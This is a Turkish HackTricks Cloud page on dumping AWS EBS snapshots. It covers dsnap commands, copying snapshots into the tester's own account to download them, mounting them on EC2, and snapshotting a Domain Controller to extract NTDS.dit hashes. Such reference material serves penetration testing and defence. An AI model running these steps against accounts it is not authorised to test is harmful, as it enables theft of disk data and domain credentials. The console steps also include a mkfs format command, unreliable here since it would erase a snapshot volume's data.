AWS - EBS Snapshot Dump
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Bir snapshot’ı yerel olarak kontrol etme
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
Caution
Not
dsnapkamu anlık görüntülerini indirmenize izin vermeyecektir. Bunu aşmak için, anlık görüntüyü kişisel hesabınıza kopyalayabilir ve onu indirebilirsiniz:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Bu teknik hakkında daha fazla bilgi için orijinal araştırmaya bakın https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Bunu Pacu ile ebs__download_snapshots modülünü kullanarak yapabilirsiniz.
AWS’de bir anlık görüntüyü kontrol etme
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Kontrolünüz altındaki bir EC2 VM’ye bağlayın (yedek kopyasıyla aynı bölgede olmalıdır):
Adım 1: Tercih ettiğiniz boyut ve türde yeni bir hacim oluşturmak için EC2 –> Hacimler bölümüne gidin.
Bu işlemi gerçekleştirebilmek için şu komutları izleyin:
- EC2 örneğine eklemek için bir EBS hacmi oluşturun.
- EBS hacminin ve örneğin aynı bölgede olduğundan emin olun.
Adım 2: Oluşturulan hacme sağ tıklayarak “hacmi ekle” seçeneğini seçin.
Adım 3: Örnek metin kutusundan örneği seçin.
Bu işlemi gerçekleştirebilmek için aşağıdaki komutu kullanın:
- EBS hacmini ekleyin.
Adım 4: EC2 örneğine giriş yapın ve lsblk komutunu kullanarak mevcut diskleri listeleyin.
Adım 5: Hacmin herhangi bir verisi olup olmadığını kontrol etmek için sudo file -s /dev/xvdf komutunu kullanın.
Yukarıdaki komutun çıktısı “/dev/xvdf: data” gösteriyorsa, hacim boştur.
Adım 6: Hacmi ext4 dosya sistemine formatlamak için sudo mkfs -t ext4 /dev/xvdf komutunu kullanın. Alternatif olarak, sudo mkfs -t xfs /dev/xvdf komutunu kullanarak xfs formatını da kullanabilirsiniz. Lütfen ext4 veya xfs’den birini kullanmanız gerektiğini unutmayın.
Adım 7: Yeni ext4 hacmini bağlamak için istediğiniz bir dizin oluşturun. Örneğin, “newvolume” adını kullanabilirsiniz.
Bu işlemi gerçekleştirebilmek için sudo mkdir /newvolume komutunu kullanın.
Adım 8: Hacmi “newvolume” dizinine bağlamak için sudo mount /dev/xvdf /newvolume/ komutunu kullanın.
Adım 9: “newvolume” dizinine geçin ve hacim bağlamasını doğrulamak için disk alanını kontrol edin.
Bu işlemi gerçekleştirebilmek için şu komutları kullanın:
/newvolumedizinine geçin.- Disk alanını kontrol etmek için
df -h .komutunu kullanın. Bu komutun çıktısı “newvolume” dizinindeki boş alanı göstermelidir.
Bunu Pacu ile ebs__explore_snapshots modülünü kullanarak yapabilirsiniz.
AWS’de bir anlık görüntüyü kontrol etme (cli kullanarak)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Herhangi bir AWS kullanıcısı EC2:CreateSnapshot iznine sahip olduğunda, Domain Controller’ın bir anlık görüntüsünü oluşturarak ve bunu kontrol ettikleri bir örneğe monte ederek tüm alan kullanıcılarının hash’lerini çalabilir ve NTDS.dit ve SYSTEM kayıt hives dosyasını Impacket’in secretsdump projesi ile kullanmak üzere dışa aktarabilir.
Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: https://github.com/Static-Flow/CloudCopy veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz.
References
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

